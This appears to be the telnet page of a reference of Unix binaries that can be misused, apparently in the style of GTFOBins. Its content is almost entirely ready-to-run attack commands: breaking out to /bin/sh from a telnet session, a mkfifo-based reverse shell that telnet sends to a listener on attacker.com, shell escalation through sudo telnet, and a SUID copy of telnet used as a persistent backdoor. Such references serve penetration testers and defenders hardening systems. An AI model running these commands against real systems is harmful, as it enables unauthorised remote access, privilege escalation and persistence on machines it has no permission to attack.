.. / telnet

Star

• Shell
• Reverse shell
• Sudo
• Limited SUID

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• BSD version only. Needs to be connected first.

  RHOST=attacker.com
  RPORT=12345
  telnet $RHOST $RPORT
  ^]
  !/bin/sh

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

• Run nc -l -p 12345 on the attacker box to receive the shell.

  RHOST=attacker.com
  RPORT=12345
  TF=$(mktemp -u)
  mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• BSD version only. Needs to be connected first.

  RHOST=attacker.com
  RPORT=12345
  sudo telnet $RHOST $RPORT
  ^]
  !/bin/sh

Limited SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands it only works on systems like Debian that allow the default sh shell to run with SUID privileges.

• BSD version only. Needs to be connected first.

  sudo sh -c 'cp $(which telnet) .; chmod +s ./telnet'
  
  RHOST=attacker.com
  RPORT=12345
  ./telnet $RHOST $RPORT
  ^]
  !/bin/sh